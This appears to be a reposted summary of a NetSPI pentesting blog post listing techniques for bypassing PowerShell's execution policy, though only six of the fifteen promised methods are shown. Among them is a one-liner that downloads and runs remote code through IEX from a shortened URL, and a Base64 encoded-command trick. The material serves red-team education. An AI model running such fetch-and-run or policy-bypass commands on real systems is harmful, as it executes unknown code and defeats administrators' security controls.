Bypass the PowerShell Execution Policy

💻 15 Ways to Bypass the PowerShell Execution Policy

Author: Scott Sutherland
Source: NetSPI Blog

---

🧠 Introduction

PowerShell’s execution policy is a safety feature designed to prevent the unintended execution of scripts. However, during penetration tests or red team operations, you may need to bypass this restriction — without administrative privileges.

---

🔐 Bypass Techniques

1. Paste into Interactive Console
   Open a PowerShell console and paste the script directly. Execution policy is not enforced line-by-line.
2. Echo and Pipe to PowerShell
   

   echo Write-Host "My voice is my passport, verify me." | powershell -noprofile -

3. Pipe File Contents to PowerShell
   

   Get-Content .\runme.ps1 | powershell -noprofile -

   type .\runme.ps1 | powershell -noprofile -

4. Download and Execute via IEX
   

   powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"

5. Use -Command Parameter
   

   powershell -command "Write-Host 'Execution policy? What policy?'"

6. Use EncodedCommand
   Encode your script into Base64 and pass it:

   
   $command = "Write-Host 'Execution policy? What policy?'"
   $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
   $encodedCommand = [Convert]::ToBase64String($bytes)
   powershell -EncodedCommand $encodedCommand
       

---

📘 Notes

• Most methods don’t require admin rights.
• These are helpful for pentesting, scripting, or when group policy interferes with legitimate automation.
• Ensure you're complying with local policies and laws when using these techniques.

Last mirrored from NetSPI: https://www.netspi.com/blog/...